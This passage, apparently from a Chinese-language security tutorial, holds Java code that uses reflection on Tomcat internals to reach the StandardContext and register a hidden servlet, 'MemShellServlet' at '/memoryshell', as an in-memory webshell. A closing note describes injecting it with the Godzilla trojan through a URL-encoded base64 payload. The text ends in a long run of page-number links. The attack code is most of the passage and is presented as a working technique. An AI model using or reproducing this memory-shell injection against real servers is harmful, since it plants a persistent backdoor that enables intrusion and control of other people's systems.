    ThreadGroup threadGroup = (ThreadGroup) group.get(thread);            Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");            threads.setAccessible(true);            Thread[] thread1 = (Thread[]) threads.get(threadGroup);            Thread t17 = thread1[17];            Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");            targetField.setAccessible(true);            Object target = targetField.get(t17);            Field this$0Field = target.getClass().getDeclaredField("this$0");            this$0Field.setAccessible(true);            Object this$0 = this$0Field.get(target);            Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");            handlerField.setAccessible(true);            Object handler = handlerField.get(this$0);            Field globalField = handler.getClass().getDeclaredField("global");            globalField.setAccessible(true);            RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);            Field processorsField = global.getClass().getDeclaredField("processors");            processorsField.setAccessible(true);            ArrayList processors = (ArrayList) processorsField.get(global);            Object r0 = processors.get(0);            Field reqField = r0.getClass().getDeclaredField("req");            reqField.setAccessible(true);            org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);            ServletContext servletContext = request.getServletContext();            Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性            applicationContextField.setAccessible(true);//设置该属性可访问性为True            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值            Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值            standarContextField.setAccessible(true);//设置该属性可访问性为True            StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext //注册Servlet            Wrapper wrapper  = context.createWrapper();//创建一个Wrapper            wrapper.setName("MemShellServlet");//设置Servlet名字            wrapper.setServletClass(exp.class.getName());            wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servlet            context.addChild(wrapper);//添加进Context            context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping       } catch (Exception e) {       }   } } 使用哥斯拉木马注入Tomcat Servlet内存马 在tomcat中运行上述代码可以在网站WEB-INF/classes/exp.class生成class,我们根据前面构造的EXP生成的base64,(注意需要url编码) 需要访问两次才能触发 成功注入内存马
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页